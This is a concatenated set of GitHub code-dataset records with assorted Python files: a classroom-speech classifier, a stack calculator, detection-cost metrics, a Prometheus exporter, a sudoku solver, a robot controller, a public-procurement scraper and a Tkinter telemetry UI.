test_folder=cfg.test_folder#where the outputs will be placed\n \n time_format=\"%H:%M:%S\"\n testing_filenames=get_filenames_in_dir(csv_folder,\".csv\")\n #testing_filenames=[\"20200225_Sara_Pd7_8_Mixed_Andi_Tarang.csv\"]\n \n pickle_filepath=\"master_logistic_classifier.pkl\"\n with open(pickle_filepath, 'rb') as file:\n (all_classifiers,all_thresholds,embedding_per_utt_type)= pickle.load(file)\n \n #IDENTIFY THE EMBEDDING TYPES THAT ARE NECESSARY ACCORDING TO THE OPTIMAL CLASSIFIER CONFIGURATIONS\n #conf_emb_type is a string with the embedding type plus information of whether it is only the embedding (_onlyemb) or embedding plus features (no suffix)\n necessary_embeddings=set() \n needed_noembed=False\n for utte_type in embedding_per_utt_type:\n conf_emb_type=embedding_per_utt_type[utte_type]\n if conf_emb_type==\"no_embedding\":\n needed_noembed=True\n continue \n if conf_emb_type.find(\"_onlyemb\")>-1:embedding_type=conf_emb_type[:-8]\n else:embedding_type=conf_emb_type\n necessary_embeddings.add(embedding_type)\n #if there is nothing in needed_embeddings and we want the option without the embeddings, use the 20dimensional (this case would most likely never occur)\n if len(necessary_embeddings)==0 and needed_noembed: necessary_embeddings.add(\"20\")\n \n #LOADING THE EMBEDDING MODELS IS COSTLY AND PRONE TO ERRORS, SO WE CAN LOAD THEM JUST ONCE FOR ALL THE INPUT FILES\n #Sometimes the cached models throw errors, particularly if a model is downloaded again (not sure why) and the download process fails, then the \n #corresponding files in the cache should be located and deleted, and then run the script again to try to download again the model\n os.environ['TFHUB_CACHE_DIR']=cfg.tf_cache_folder\n embedding_models={}\n for embedding_type in necessary_embeddings:\n print (\"\\nLoading embedding model:\"+embedding_type)\n embedding_models[embedding_type]=load_embeddings_model(embedding_type)\n print(\"Embedding model loaded: \"+embedding_type)\n \n #PROCESS EACH INPUT FILE\n for testing_filename in testing_filenames:\n print()\n #GET JSON FILE\n json_filename=process_file(testing_filename,csv_folder,test_folder,time_format,testing=True)\n json_file=open(json_filename)\n json_str = json_file.read()\n period_object = jsonpickle.decode(json_str)\n json_filename_base=os.path.basename(json_filename)[:-5] # we only need the bare name without extension\n \n #EXTRACT FEATURES AND CREATE A DATAFRAME FOR EACH NEEDED EMBEDDING TYPE\n dataset_per_embedding={}\n for embedding_type in necessary_embeddings:\n if embedding_type==\"512t\":embedding_dimensionality=512\n else: embedding_dimensionality=int(embedding_type)\n \n headers=[\"Original_CSV_File\",\"Utterance_String\",\"Speaker\",\"Time_Stamp\",\n \"Utt_Turn_Taking\",\"Metacognitive_Modelling\",\"Utt_Behavior\",\"Utt_Teacher_OpenQ\",\"Utt_Teacher_CloseQ\",\"Utt_Student_OpenQ\",\"Utt_Student_CloseQ\",\"Utt_Student_CloseR\",\"Utt_Student_OpenR\",\"Utt_Student_ExpEvi\",\n \"Speaker_teacher\",\"Speaker_student\",\"Speaker_other\",\"Previous_speaker_teacher\",\"Previous_speaker_student\",\"Previous_speaker_other\",\"Previous_speaker_none\",\n \"Next_speaker_teacher\",\"Next_speaker_student\",\"Next_speaker_other\",\"Next_speaker_none\",\n \"first_utterance_in_turn\",\"last_utterance_in_turn\",\n \"Part_Discussion\",\"Part_Lecture\",\"Part_Small_Group\",\"Part_Individual\",\"Part_Pairs\",\"Part_Other\",\n \"Single_Word\",\n \"what\",\"What\",\"why\",\"Why\",\"how\",\"How\",\"Is\",\"do\",\"Do\",\"does\",\"Does\",\"can\",\"Can\",\"could\",\"Could\",\"where\",\"Where\",\"when\",\"When\",\n \"QuestionMark\",\"Student\",\"Quotation\",\"explain\",\"Explain\",\"right\",\"no\",\"No\",\"yes\",\"Yes\",\"yeah\",\"Yeah\",\"because\",\"Because\",\n \"Go_ahead\",\"go_ahead\",\"right_questionmark\", \"Right_period\",\"How_many\",\"How_much\"\n ]\n for i in range(embedding_dimensionality):headers.append(\"Embedding_\"+str(i))\n \n period_utterances_features=extract_features_period(period_object,embedding_models[embedding_type],embedding_dimensionality)\n dataset_per_embedding[embedding_type]=pd.DataFrame(period_utterances_features,columns=headers)\n print(\"\\nFeatures extracted and Dataframes created for file: \"+testing_filename)\n \n \n #GET MODEL'S PREDICTIONS\n predictions={}\n for utt_type in embedding_per_utt_type:\n print (\"Processing \"+utt_type)\n conf_emb_type=embedding_per_utt_type[utt_type]\n print (conf_emb_type)\n \n if conf_emb_type==\"no_embedding\": \n for embed in necessary_embeddings:break #this is apparently the fastest way to retrieve one element in a set without removing it\n embedding_type=embed\n elif conf_emb_type.find(\"_onlyemb\")>-1:embedding_type=conf_emb_type[:-8]\n else: embedding_type=conf_emb_type\n \n dataframe=dataset_per_embedding[embedding_type] \n last_class_dim=dataframe.columns.get_loc(\"Utt_Student_ExpEvi\")\n first_embedding_dim=dataframe.columns.get_loc(\"Embedding_0\")\n \n #USE NOEMB, ONLY EMB OR EMB+FEAT\n if conf_emb_type==\"no_embedding\": selected_x_dims=list(range(last_class_dim+1,first_embedding_dim))\n elif conf_emb_type.find(\"_onlyemb\")>-1: selected_x_dims=list(range(first_embedding_dim,len(dataframe.columns)))\n else: selected_x_dims=list(range(last_class_dim+1,len(dataframe.columns)))\n \n x=dataframe.iloc[:,selected_x_dims].values\n \n classifier = all_classifiers[utt_type]\n threshold=all_thresholds[utt_type]\n \n predicted_y=classifier.predict_proba(x)\n predicted_y=predicted_y[:,1]\n \n predictions[utt_type]= [True if prob>threshold else False for prob in predicted_y]\n \n \n #AFTER GETTING THE PREDICTIONS, PUT THEM INTO A DATAFRAME\n for embed in necessary_embeddings:break #this is apparently the fastest way to retrieve one element in a set without removing it\n dataframe=dataset_per_embedding[embed] #we get one dataframe (any type of embedding)\n \n for u_type in embedding_per_utt_type:\n var_index=dataframe.columns.get_loc(u_type)\n dataframe.iloc[:,var_index]=predictions[u_type]\n \n #THEN CONVERT THE DATAFRAME BACK TO CSV\n output_csv_filename=testing_filename[:-4]+\"_classifier.csv\"\n save_dataframe_as_CSV(dataframe,test_folder+\"/\"+output_csv_filename)\n \n \n \n \n \n \n \n \n \n \n \n ","repo_name":"iesus/classinsight-language","sub_path":"src/logistic_regression/master_logistic_classifier.py","file_name":"master_logistic_classifier.py","file_ext":"py","file_size_in_byte":7639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"27671011172","text":"def operator(a, num1, num2):\n if a == '+':\n return num2 + num1\n elif a == '-':\n return num2 - num1\n elif a == '*':\n return num2 * num1\n else:\n return num2 // num1\n\n\nfor t in range(1, int(input())+1):\n data = list(input().split())\n stack = []\n for i in data:\n if i.isdecimal():\n stack.append(int(i))\n elif i == '.':\n if len(stack) ==1:\n print('#{} {}'.format(t, stack.pop()))\n else:\n print('#{} error'.format(t))\n else:\n if len(stack) < 2:\n print('#{} error'.format(t))\n break\n else:\n num1 = stack.pop()\n num2 = stack.pop()\n stack.append(operator(i, num1, num2))","repo_name":"dlush93/My_Algorithm","sub_path":"SSAFY/D2/4874. Forth.py","file_name":"4874. Forth.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"33479428638","text":"import numpy\n\ndef compute_min_DCF(llrs, Labels, pi, cfn, cfp):\n \n \"\"\" Compute the minimum detection cost, given the binary\n log likelihood ratios llr\n labels is the array of labels\n pi1, Cfn, Cfp are the parameters for the application\n \"\"\"\n \n triplete = numpy.array([pi,cfn,cfp]) #pi, Cfn, Cfp\n thresholds = numpy.array(llrs)\n thresholds.sort()\n thresholds = numpy.concatenate([ numpy.array([-numpy.inf]), thresholds, numpy.array([numpy.inf]) ])\n \n FPR = numpy.zeros(thresholds.size)\n FNR = numpy.zeros(thresholds.size)\n DCF_norm = numpy.zeros(thresholds.size)\n Bdummy1=triplete[0] * triplete[1] \n Bdummy2=(1-triplete[0]) *triplete[2] \n B_dummy = min(Bdummy1, Bdummy2)\n \n for idx, t in enumerate(thresholds):\n Pred = numpy.int32(llrs > t)\n Conf = numpy.zeros((2,2))\n for i in range(2):\n for j in range(2):\n Conf[i,j]= ((Pred==i) * (Labels == j)).sum()\n \n FPR[idx] = Conf[1,0] / (Conf[1,0]+ Conf[0,0])\n FNR[idx] = Conf[0,1] / (Conf[0,1]+ Conf[1,1])\n DCF_norm[idx] = (Bdummy1*FNR[idx] + Bdummy2*FPR[idx]) / B_dummy\n \n DCF_min = min(DCF_norm)\n return DCF_min\n\ndef compute_act_DCF(llrs, Labels, pi, cfn, cfp):\n \"\"\" Compute the actual detection cost, given the binary\n log likelihood ratios llr\n labels is the array of labels\n pi1, Cfn, Cfp are the parameters for the application\n \"\"\"\n triplete = numpy.array([pi,cfn,cfp]) #pi, Cfn, Cfp\n \n thread = (triplete[0]*triplete[1]) / ( ( 1- triplete[0])*triplete[2] ) \n thread = -numpy.log(thread)\n \n LPred = llrs>thread\n \n Conf = numpy.zeros((2,2))\n for i in range(2):\n for j in range(2):\n Conf[i,j] = ((LPred==i) * (Labels == j)).sum()\n \n FPR = Conf[1,0] / (Conf[1,0]+ Conf[0,0]) \n FNR = Conf[0,1] / (Conf[0,1]+ Conf[1,1]) \n \n Bdummy1=triplete[0] * triplete[1] \n Bdummy2=(1-triplete[0]) *triplete[2] \n DCF = Bdummy1*FNR+ Bdummy2*FPR\n B_dummy = min(Bdummy1, Bdummy2)\n DCF_norm = DCF/B_dummy\n return DCF_norm\n\n\ndef threshold(pi, Cfn, Cfp):\n t = -numpy.log((pi*Cfn)/((1-pi)*Cfp))\n return t\n\n\ndef DCF(params, FNR, FPR):\n pi, Cfn, Cfp = params\n \n y = (pi*Cfn*FNR)+((1-pi)*(Cfp*FPR))\n \n return y\n\ndef B_Dummy(params):\n pi, Cfn, Cfp = params\n y = min((pi*Cfn), ((1-pi)*Cfp))\n \n return y\n\ndef optimalBayesDescision(llr, params):\n C = 0\n pi, Cfn, Cfp = params\n\n if(llr > threshold(pi, Cfn, Cfp)):\n C = 1\n \n return C\n\n\ndef compute_DCF(params, llr, L):\n Confusion_Matrix = numpy.zeros((2,2))\n \n for i in range(L.size):\n predict_label = optimalBayesDescision(llr[i], params) \n Confusion_Matrix[predict_label,L[i]] += 1\n \n \n FNR = Confusion_Matrix[0,1]/(Confusion_Matrix[0,1]+Confusion_Matrix[1,1])\n FPR = Confusion_Matrix[1,0]/(Confusion_Matrix[1,0]+Confusion_Matrix[0,0])\n \n dcf = DCF(params, FNR, FPR)\n \n dummy = B_Dummy(params)\n dcf_normalized = dcf/dummy\n return dcf_normalized","repo_name":"Peppepelle99/GenderIdentification","sub_path":"model_evaluation/bayesEval.py","file_name":"bayesEval.py","file_ext":"py","file_size_in_byte":3100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71206368102","text":"from __future__ import annotations\nimport threading\nfrom typing import List, Dict, Optional\nfrom wsgiref.simple_server import WSGIServer\n\nfrom prometheus_client import Gauge, registry, exposition, REGISTRY\n\nfrom pollect.core.ValueSet import ValueSet, Value\nfrom pollect.libs import Utils\nfrom pollect.sources.Source import Source\nfrom pollect.writers.Writer import Writer\n\n\nclass PromMetric:\n \"\"\"\n Represents a single metric\n \"\"\"\n\n metric: Gauge\n \"\"\"\n Prometheus metric\n \"\"\"\n\n updated: Dict[str, bool]\n \"\"\"\n Indicates if the metric with the given label values has been updated in the current run\n \"\"\"\n\n def __init__(self, metric: Gauge):\n self.metric = metric\n self.updated = {}\n\n def reset_state(self):\n for key in self.updated.keys():\n self.updated[key] = False\n\n def update(self, value_set: ValueSet, value_obj: Value):\n if len(value_set.labels) > 0:\n if len(value_obj.label_values) != len(value_set.labels):\n raise ValueError('Incorrect label count for ' + str(value_obj) + ': Got ' +\n str(len(value_set.labels)) + ' labels and ' +\n str(len(value_obj.label_values)) + ' label names')\n\n self.metric.labels(*value_obj.label_values).set(value_obj.value)\n label_key = '\\t'.join(value_obj.label_values)\n self.updated[label_key] = True\n return\n\n self.metric.set(value_obj.value)\n self.updated[''] = True\n\n def remove_not_updated(self, cache: MetricsCache):\n for key in list(self.updated.keys()):\n if self.updated[key] is True:\n continue\n del self.updated[key]\n\n if key == '':\n # In case we don't have any labels\n # we can just unregister the metric, since no other\n # source is using it\n # (Since > 1 sources using the same metric name will cause issues anyways)\n cache.unregister(self)\n continue\n labels = key.split('\\t')\n self.metric.remove(*labels)\n\n\nclass MetricsCache:\n \"\"\"\n Holds the prometheus metrics objects\n as well as all exported metrics so we can check\n if a metric was removed\n \"\"\"\n _source_metrics: Dict[object, Dict[str, PromMetric]]\n \"\"\"\n Maps a source object to the metrics created by that object \n \"\"\"\n\n _prom_counter: Dict[str, Gauge]\n\n def __init__(self):\n self._source_metrics = {}\n self._prom_counter = {}\n\n def get_or_create(self, path: str, label_names: List[str]) -> Gauge:\n \"\"\"\n Returns an existing gauge or creates a new one if it doesn't exist\n :param path: Path\n :param label_names: Label anmes\n :return: Gauge\n \"\"\"\n gauge = self._prom_counter.get(path)\n if gauge is None:\n gauge = Gauge(path, path, labelnames=label_names)\n self._prom_counter[path] = gauge\n return gauge\n return gauge\n\n def clear(self):\n \"\"\"\n Removes all metrics\n \"\"\"\n for value in self._prom_counter.values():\n registry.REGISTRY.unregister(value)\n self._source_metrics.clear()\n self._prom_counter.clear()\n\n def unregister(self, metric: PromMetric):\n \"\"\"\n Removes the given metric\n :param metric: Metric to be removed\n \"\"\"\n registry.REGISTRY.unregister(metric.metric)\n for key, value in self._prom_counter.items():\n if value == metric.metric:\n del self._prom_counter[key]\n break\n for metrics in self._source_metrics.values():\n for key, value in metrics.items():\n if value == metric:\n del metrics[key]\n return\n\n def get_metrics(self, source_ref) -> Dict[str, PromMetric]:\n return Utils.put_if_absent(self._source_metrics, source_ref, {})\n\n\nclass PrometheusWriter(Writer):\n _port: int\n _httpd: Optional[WSGIServer]\n _cache: MetricsCache\n\n def __init__(self, config):\n super().__init__(config)\n self._port = self.config.get('port', 8080)\n self._cache = MetricsCache()\n\n def supports_partial_write(self) -> bool:\n return True\n\n def start(self):\n \"\"\"\n Starts the prometheus exporter.\n We start the server manually, so we can also terminate it\n \"\"\"\n \"\"\"Starts a WSGI server for prometheus metrics as a daemon thread.\"\"\"\n addr: str = '0.0.0.0'\n port = self._port\n\n class TmpServer(exposition.ThreadingWSGIServer):\n \"\"\"Copy of ThreadingWSGIServer to update address_family locally\"\"\"\n\n TmpServer.address_family, addr = exposition._get_best_family(addr, port)\n app = exposition.make_wsgi_app(REGISTRY)\n self._httpd = exposition.make_server(addr, port, app, TmpServer, handler_class=exposition._SilentHandler)\n t = threading.Thread(target=self._httpd.serve_forever)\n t.daemon = True\n t.start()\n\n def stop(self):\n if self._httpd is None:\n return\n self._httpd.shutdown()\n self._httpd = None\n\n def clear(self):\n \"\"\"\n Removes all metrics\n \"\"\"\n self._cache.clear()\n\n def write(self, data: List[ValueSet], source_ref: Optional[Source] = None):\n # Get the previous metrics for the given source\n existing_metrics = self._cache.get_metrics(source_ref)\n\n for value in existing_metrics.values():\n value.reset_state()\n\n for value_set in data:\n for value_obj in value_set.values:\n path = value_set.name\n if value_obj.name is not None:\n path += '.' + value_obj.name\n\n path = path.replace('-', '_').replace('.', '_').replace('!', '')\n\n if path not in existing_metrics:\n # New metric for the current source\n gauge = self._cache.get_or_create(path, label_names=value_set.labels)\n existing_metrics[path] = PromMetric(gauge)\n\n prom_metric = existing_metrics[path]\n prom_metric.update(value_set, value_obj)\n\n for value in list(existing_metrics.values()):\n value.remove_not_updated(self._cache)\n","repo_name":"davidgiga1993/pollect","sub_path":"pollect/writers/PrometheusWriter.py","file_name":"PrometheusWriter.py","file_ext":"py","file_size_in_byte":6386,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"} +{"seq_id":"73103114660","text":"# Author: Allen Anker\n# Created by Allen Anker on 09/08/2018\n\"\"\"\nWrite a program to solve a Sudoku puzzle by filling the empty cells.\n\nA sudoku solution must satisfy all of the following rules:\n\nEach of the digits 1-9 must occur exactly once in each row.\nEach of the digits 1-9 must occur exactly once in each column.\nEach of the the digits 1-9 must occur exactly once in each of the 9 3x3 sub-boxes of the grid.\nEmpty cells are indicated by the character '.'.\n\"\"\"\n\n\nclass Solution:\n def solve_sudoku(self, board):\n \"\"\"\n Fill the board in-place to solve the sudoku.\n :type board: List[List[int]]\n :rtype: void\n \"\"\"\n\n def dfs(board, stack1, stack2):\n if not stack1:\n return\n x, y = stack1.pop()\n stack2.append((x, y))\n box = [board[x // 3 * 3 + i][y // 3 * 3 + j] for i in range(3) for j in range(3)]\n row = [board[x][j] for j in range(9)]\n col = [board[i][y] for i in range(9)]\n for i in \"123456789\":\n if not any([i in box, i in col, i in row]):\n board[x][y] = i\n dfs(board, stack1, stack2)\n if not stack1:\n return\n board[x][y] = \".\"\n pos = stack2.pop()\n stack1.append(pos)\n\n stack1 = [(i, j) for i in range(9) for j in range(9) if board[i][j] == \".\"]\n stack2 = []\n dfs(board, stack1, stack2)\n","repo_name":"flirtinthedarkness/LeetCode","sub_path":"July_problems/sudoku_solver.py","file_name":"sudoku_solver.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"3093705244","text":"#!/usr/bin/env python3\n\nimport random\nimport sys\n\nfrom controller import Robot\n\n\nclass SoccerRobot(Robot):\n def __init__(self, noise):\n Robot.__init__(self)\n self.noise = noise\n self.left_wheel = self.getMotor('left wheel motor')\n self.right_wheel = self.getMotor('right wheel motor')\n self.left_wheel.setPosition(float('inf'))\n self.right_wheel.setPosition(float('inf'))\n\n def run(self):\n while self.step(10) != -1:\n # ignore slip noise overshoot portion\n max_speed = self.left_wheel.getMaxVelocity() / (1 + self.noise)\n speeds = self.getCustomData().split(' ')\n left = min(max(float(speeds[0]), -max_speed), max_speed)\n right = min(max(float(speeds[1]), -max_speed), max_speed)\n self.left_wheel.setVelocity(self.slipNoise(left))\n self.right_wheel.setVelocity(self.slipNoise(right))\n\n def slipNoise(self, value):\n return value * (1 + random.uniform(-self.noise, self.noise))\n\n\nif len(sys.argv) > 1:\n noise = float(sys.argv[1])\nelse:\n noise = 0.0\nsoccer_robot = SoccerRobot(noise)\nsoccer_robot.run()\nexit(0)\n","repo_name":"kjs83036/Python_AIWorldCup_Commentary","sub_path":"test_world-develop/controllers/soccer_robot/soccer_robot.py","file_name":"soccer_robot.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"18515873332","text":"from os import path\n\nimport logging\nimport numpy as np\nimport pandas as pd\nimport requests\nimport time\nfrom bs4 import BeautifulSoup\n\nfrom covidata import config\nfrom covidata.persistencia import consolidacao\nfrom covidata.persistencia.consolidacao import consolidar_layout\nfrom covidata.persistencia.dao import persistir\nfrom covidata.webscraping.scrappers.scrapper import Scraper\n\n\nclass PT_MT_Scraper(Scraper):\n def scrap(self):\n logger = logging.getLogger('covidata')\n logger.info('Portal de transparência estadual...')\n start_time = time.time()\n\n page = requests.get(config.url_pt_MT)\n soup = BeautifulSoup(page.content, 'html.parser')\n tabela = soup.find_all('table')[0]\n ths = tabela.find_all('th')\n colunas = [th.get_text() for th in ths]\n trs = tabela.find_all('tr')\n linhas = []\n\n for tr in trs:\n tds = tr.find_all('td')\n if len(tds) > 0:\n linhas.append([td.get_text().strip() for td in tds])\n\n df = pd.DataFrame(data=linhas, columns=colunas)\n persistir(df, 'portal_transparencia', 'contratos', 'MT')\n\n logger.info(\"--- %s segundos ---\" % (time.time() - start_time))\n\n def consolidar(self, data_extracao):\n logger = logging.getLogger('covidata')\n logger.info('Iniciando consolidação dados Mato Grosso')\n\n consolidacoes = self.__consolidar_pt_MT(data_extracao)\n\n return consolidacoes, False\n\n def __consolidar_pt_MT(self, data_extracao):\n # Objeto dict em que os valores têm chaves que retratam campos considerados mais importantes\n dicionario_dados = {consolidacao.CONTRATANTE_DESCRICAO: 'Entidade',\n consolidacao.DESPESA_DESCRICAO: 'Objeto',\n consolidacao.CONTRATADO_CNPJ: 'CNPJ',\n consolidacao.CONTRATADO_DESCRICAO: 'Razão Social',\n consolidacao.VALOR_CONTRATO: 'Valor Global'}\n\n df_original = pd.read_excel(path.join(config.diretorio_dados, 'MT', 'portal_transparencia', 'contratos.xls'),\n header=4)\n\n # Chama a função \"consolidar_layout\" definida em módulo importado\n df = consolidar_layout(df_original, dicionario_dados, consolidacao.ESFERA_ESTADUAL,\n consolidacao.TIPO_FONTE_PORTAL_TRANSPARENCIA + ' - ' + config.url_pt_MT,\n 'MT', '', data_extracao, self.pos_processar)\n return df\n\n def pos_processar(self, df):\n # Remove a notação científica\n df[consolidacao.CONTRATADO_CNPJ] = df[consolidacao.CONTRATADO_CNPJ].astype(np.int64)\n df[consolidacao.CONTRATADO_CNPJ] = df[consolidacao.CONTRATADO_CNPJ].astype(str)\n\n return df\n","repo_name":"SecexSaudeTCU/CoviDATA","sub_path":"covidata/webscraping/scrappers/MT/PT_MT.py","file_name":"PT_MT.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"pt","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"} +{"seq_id":"36386734995","text":"import tkinter as Tk\nimport tkinter.ttk as ttk\nfrom UI.Plot2D_Frame import Plot2D_Frame\nimport logging\nfrom distantio.Utils import ValuesXY\n\nclass VariableTable_Frame(ttk.LabelFrame):\n def __init__(self,parent,model,**kwargs):\n ttk.LabelFrame.__init__(self,parent,**kwargs)\n self.parent = parent\n self.model = model\n self.selected_var_id = None\n self.define_first = False\n self.variables = dict()\n self.groups = dict()\n self.plots = []\n\n self.txt_log = Tk.Label(self,text=\"MCU status :\")\n self.txt_log.grid(column=0,row=0,sticky='ENW',pady=3,padx=3)\n\n self.txt_active = Tk.Label(self,text=\"disconnected\",fg='blue',borderwidth=2)\n self.txt_active.grid(column=1,row=0,sticky='ENW',pady=3,padx=3)\n\n self.txt_table = Tk.Label(self,text=\"Variable table :\")\n self.txt_table.grid(column=0,row=1,sticky='ENW',pady=3,padx=3)\n\n self.bouton_activate = ttk.Button(self, text=\"request all\", command = self.request_descriptors)\n self.bouton_activate.grid(column=1,row=1,sticky='ENW',pady=3,padx=3)\n\n self.bouton_clear = ttk.Button(self, text=\"clear\", command = self.remove_descriptors)\n self.bouton_clear.grid(column=2,row=1,sticky='ENW',pady=3,padx=3)\n\n self.txt_read = Tk.Label(self,text=\"Read all variables :\")\n self.txt_read.grid(column=0,row=2,sticky='ENW',pady=3,padx=3)\n\n self.checkbutton_state = Tk.IntVar()\n self.check_read = ttk.Checkbutton(self,command=self.on_checkbutton_changed,variable=self.checkbutton_state)\n self.check_read.grid(column=1,row=2)\n\n # Table + scrollbar group\n self.table_frame = ttk.Frame(self)\n self.table_frame.grid(column=0,row=3,columnspan=3, sticky=\"WENS\")\n\n self.scrollbar_log = ttk.Scrollbar(self.table_frame)\n self.scrollbar_log.grid(sticky ='WNS',row=0,column=2)\n\n\n self.var_list = ttk.Treeview(self.table_frame)\n #self.var_list['show']=\"headings\"\n self.var_list['columns']=(\"name\",\"type\",\"value\")\n self.var_list['selectmode']=\"browse\"\n self.var_list['yscrollcommand']=self.scrollbar_log.set\n\n self.var_list.grid(column=0,row=0,sticky='EWNS',pady=3,padx=(3,0))#columnspan=2\n\n self.var_list.column('#0',anchor='center',minwidth=0,width=80,stretch=Tk.NO)\n self.var_list.heading('#0', text='Group')\n\n self.var_list.column('name',anchor='center',minwidth=0,width=120,stretch=Tk.NO)\n self.var_list.heading('name', text='name')\n\n self.var_list.column('type',anchor='center',minwidth=0,width=50, stretch=Tk.NO)\n self.var_list.heading('type', text='type')\n\n self.var_list.column('value', anchor='center', minwidth=0, width=120, stretch=Tk.NO)\n self.var_list.heading('value', text='value')\n\n self.var_list.bind(\"<>\", self.variable_selected)\n self.scrollbar_log.config( command=self.var_list.yview)\n\n # Variable name\n self.variable = Tk.StringVar()\n self.variable.set(\"No var\")\n\n self.selected_var = ttk.Label(self,textvariable=self.variable)\n self.selected_var.grid(column=0,row=4,columnspan=2,sticky=\"NSEW\",pady=3,padx=3)\n\n # bouton plot:\n self.bouton_plot = ttk.Button(self, text=\"Plot\", command = self.plot)\n self.bouton_plot.grid(column=2, row=4, sticky='WENS', pady=3, padx=3)\n\n # fixed label\n self.label_var2 = ttk.Label(self,text=\"Value :\")\n self.label_var2.grid(column=0,row=5, sticky=\"NSEW\",pady=3,padx=3)\n\n #Variable read/write value\n self.value = Tk.DoubleVar()\n self.value.set(0.0)\n\n self.label_var2 = ttk.Entry(self,textvariable=self.value)\n self.label_var2.grid(column=1,row=5, sticky=\"NSEW\",pady=3,padx=3)\n\n # Write button\n self.bouton_write = ttk.Button(self, text=\"WRITE\", command = self.write_value)\n self.bouton_write.grid(column=2,row=5,sticky='WENS',pady=3,padx=3)\n\n # redimensionnement fenetres\n self.parent.grid_columnconfigure(0,weight=1)\n self.parent.grid_rowconfigure(0,weight=1)\n\n self.grid_columnconfigure(1, weight=1)\n self.grid_columnconfigure(0, weight=1)\n self.grid_rowconfigure(2, weight=1)\n\n self.table_frame.grid_columnconfigure(0,weight=1)\n self.table_frame.grid_rowconfigure(0,weight=1)\n self.var_list.grid_columnconfigure(3, weight=1)\n\n # Subscriptions\n self.model.signal_MCU_state_changed.connect(self.on_MCU_state_changed)\n self.model.signal_received_value.connect(self.on_value_received)\n self.model.signal_received_descriptor.connect(self.on_descriptor_received)\n self.model.signal_received_group_descriptor.connect(self.on_group_descriptor_received)\n\n\n def request_descriptors(self):\n self.parent.request_descriptors()\n\n def remove_descriptors(self):\n # Empty table\n x = self.var_list.get_children()\n for item in x:\n self.var_list.delete(item)\n # Empty variable list\n self.variables = dict()\n self.groups = dict()\n\n def on_descriptor_received(self,var_id,var_type,var_name,var_writeable,group_id,**kwargs):\n # Check if variable is already inside ?\n\n if not var_id in self.variables:\n self.variables[var_id] = dict()\n self.variables[var_id]['name'] = var_name\n self.variables[var_id]['value'] = 0\n self.variables[var_id]['id'] = var_id\n self.variables[var_id]['type'] = var_type\n\n self.variables[var_id]['writeable'] = var_writeable\n self.variables[var_id]['group'] = group_id\n\n # If the group does not exists, we create it\n if not group_id in self.groups:\n # Create group\n self.groups[group_id] = dict()\n # The root id of the group in the Treeview\n # Child items will have to be inserted beneath it\n created_id = self.var_list.insert('','end',text=\"Group \"+str(group_id),open=True)\n #self.var_list.set(created_id,'#0',str(group_id))\n self.groups[group_id]['index'] = created_id\n\n # Now insert items\n i = self.var_list.insert(self.groups[group_id]['index'],'end',text=str(var_id))\n self.variables[var_id]['index'] = i\n\n self.var_list.set(i,'name',var_name)\n self.var_list.set(i,'type',var_type)\n\n def on_group_descriptor_received(self,group_id,group_name,**kwargs):\n # If the group does not exists, we create it\n if not group_id in self.groups:\n # Create group\n self.groups[group_id] = dict()\n # The root id of the group in the Treeview\n # Child items will have to be inserted beneath it\n created_id = self.var_list.insert('','end',text=group_name,open=True)\n #self.var_list.set(created_id,'#0',str(group_id))\n self.groups[group_id]['index'] = created_id\n\n # Otherwise we just correct the name\n else:\n created_id = self.groups[group_id]['index']\n self.var_list.item(created_id,text=group_name)\n\n\n def on_value_received(self,var_id,**kwargs):\n if var_id in self.variables:\n i = self.variables[var_id]['index']\n self.var_list.set(i,'value',self.model.get_last_value(var_id))\n\n\n def on_checkbutton_changed(self):\n if self.checkbutton_state.get():\n self.parent.request_read_all()\n\n def write_value(self):\n if not self.selected_var_id in self.variables:\n logging.debug(\"write_value : var id \"+str(self.selected_var_id)+\" not found.\")\n return\n # If that fails, it means the string is unvalid\n try:\n value = float(self.value.get())\n except ValueError as e:\n print(str(e))\n\n self.parent.request_write(self.selected_var_id,value)\n\n def variable_selected(self,event):\n # Get selection tree index\n it = self.var_list.selection()[0]\n\n # If selection is in a variable\n for key in self.variables:\n if self.variables[key]['index'] == it:\n var_id = self.variables[key]['id']\n if not var_id in self.variables:\n return\n\n self.selected_var_id = var_id\n\n # If selected variable is writeable\n if self.variables[var_id]['writeable']:\n self.variable.set(self.variables[var_id]['name'])\n else:\n self.variable.set(\"** Variable not writeable **\")\n return\n\n # Otherwise, if selection is a group\n for key in self.groups:\n if self.groups[key]['index'] == it:\n self.selected_var_id = None\n return\n\n def plot(self):\n if not self.selected_var_id in self.variables:\n return\n\n top = Tk.Toplevel()\n plot = Plot2D_Frame(top,self.model,self.selected_var_id)\n plot.pack()\n self.model.signal_received_value.connect(plot.on_value_received)\n self.plots.append(plot)\n top.title(\"Plot : \"+self.variables[self.selected_var_id]['name'])\n #plot.protocol('WM_DELETE_WINDOW', self.plot_frame.stop)\n #plot.minsize(width=300, height=200)\n\n\n # Callback functions\n def on_MCU_state_changed(self,alive,**kwargs):\n if alive:\n self.txt_active.config(text=\"Alive\",fg='green')\n else:\n self.txt_active.config(text=\"Disconnected\",fg='blue')\n self.parent.update_idletasks()\n\n\nif __name__==\"__main__\":\n root = Tk.Tk()\n m = None\n fr = VariableTable_Frame(root,m)\n root.minsize(width=300, height=200)\n root.mainloop()\n","repo_name":"Overdrivr/DistantIO","sub_path":"UI/VariableTable_Frame.py","file_name":"VariableTable_Frame.py","file_ext":"py","file_size_in_byte":9784,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"19119732602","text":"# rembg i path/to/input.png path/to/output.png\n# rembg i C:\\Users\\blake\\Documents\\PYTHON_Scripting\\2023\\07-22-2023__Rembg_Image\\input\\test_01.jpg C:\\Users\\blake\\Documents\\PYTHON_Scripting\\2023\\07-22-2023__Rembg_Image\\output\\test_output_01.png\n\nimport subprocess, sys\n\n\ndef 